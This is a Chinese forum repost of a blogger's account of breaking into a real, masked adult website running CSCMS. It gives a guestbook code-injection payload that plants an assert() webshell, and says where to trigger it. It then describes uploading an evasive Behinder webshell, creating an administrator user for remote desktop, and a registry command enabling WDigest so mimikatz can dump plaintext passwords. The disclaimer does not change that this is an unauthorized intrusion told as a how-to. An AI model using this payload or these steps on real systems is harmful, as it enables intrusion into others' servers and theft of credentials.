搜索

[26539] 2020-12-02_[日常福利]对某SQ网站的一次简单渗透

文档创建者：s7ckTeam
浏览次数：113
最后更新：2025-01-19
2020-12-02_[日常福利]对某SQ网站的一次简单渗透 [ 日 常 福 利 ] 对 某 S Q 网 站 的 一 次 简 单 渗 透 原 创   花 瞳   M 7 8 安 全 团 队   2 0 2 0 - 1 2 - 0 2             温 馨 提 示             本 文 章 仅 供 学 习 交 流 使 用 ， 本 文 章 仅 供 学 习 交 流 使 用 ， 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 题 外 话 ： 因 为 该 站 是 我 几 个 月 前 渗 透 的 了 ， 所 以 云 悉 的 截 图 也 是 拿 的 几 个 月 前 的 截 图 ， 因 为 现 在 我 莫 得 邀 请 码 （ 逐 渐 悲 伤 ） 因 为 本 人 学 生 党 一 枚   发 文 免 不 了 带 点 作 业 效 果   见 谅 ~ 0 x 0 1   信 息 搜 集 信 息 搜 集 首 先 确 认 目 标   因 为 是 S Q 网 站   所 以 要 打 码   （ 狗 头 保 命 ） 这 里 先 老 规 矩 ， 信 息 收 集 一 波   分 析 了 下 该 网 站 用 的 是 程 氏 c m s ， 运 气 好 ， 还 真 是 当 初 那 个 三 步 g e t s h e l l 的 版 本 ( 手 动 滑 稽 ）
0 x 0 2   N d a y 一 把 梭 一 把 梭 什 么 也 不 要 管 什 么 也 不 要 问   直 接 砸 N d a y 下 去   找 到 当 年 漏 洞 位 置 > 留 言 板 ： 域 名 后 面 加 一 个 g b o o k     例 如 w w w . 1 2 3 . c o m / g b o o k /   默 认 是 这 个 位 置   反 正 随 机 应 变 就 可 以 了 （ 狗 头 保 命 ） 直 接 留 言 板 把 P a y l o a d 一 把 梭 实 操 图 ： ( 名 字 随 便 写   留 言 内 容 就 直 接 砸 p a y l o a d 下 去 ) 然 后 出 现 如 下 界 面   你 会 发 现 留 言 内 容 消 失 了 只 剩 下 一 个 昵 称   那 这 样 就 是 正 确 的   因 为 你 的 留 言 内 容 拼 接 进 P H P 源 文 件 里 面 去 了 p a y l o a d ： { c s c n s p h p } a s s e r t ( $ _ R E Q U E S T { Q C M B } ) ; { / c s c m s p h p }
访 问 g b o o k / l i s t s / 1 这 个 目 录   出 现 如 下 画 面 这 时 候 用 你 的 一 句 话 密 码 = p h p i n f o ( ) ;   执 行 该 函 数 拿 下 w e b s h e l l
用 w e b s h e l l 工 具 链 接   填 写 好 地 址   密 码   有 时 候 数 据 为 空   就 换 解 码 器 这 里 我 上 传 了 一 个 免 杀 的 冰 蝎 马   因 为 这 站 有 云 防 护   一 般 马 过 不 去
冰 蝎 链 接 ： 顺 带 传 了 点 免 杀 P H P 马 访 问 位 置   查 看 权 限   查 看 端 口   权 限 还 高   3 3 8 9 开 放 ？ 芜 湖 ！ 起 飞

管 理 员 权 限 直 接 冰 蝎 里 面 上 d o s 命 令   创 建 用 户   提 权   一 气 呵 成

普 通 用 户 界 面 也 没 啥 好 康 的   （ 不 要 在 意 时 间   因 为 是 几 个 月 前 搞 的 了   好 多 地 方 都 修 复 了   幸 好 以 前 截 了 图 ） 我 们 怎 么 甘 心 止 步 于 此 ？ 打 开 磁 盘   斯 国 一 ！ ！
（ 少 儿 不 宜 哈 ） 因 为 服 务 器 是 2 0 1 6 的 版 本 m i m i k a t z 无 法 直 接 导 出 明 文 密 码 ， 所 以 要 通 过 编 辑 注 册 表 启 用 密 码 记 录 c o m m a n d 如 下 r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理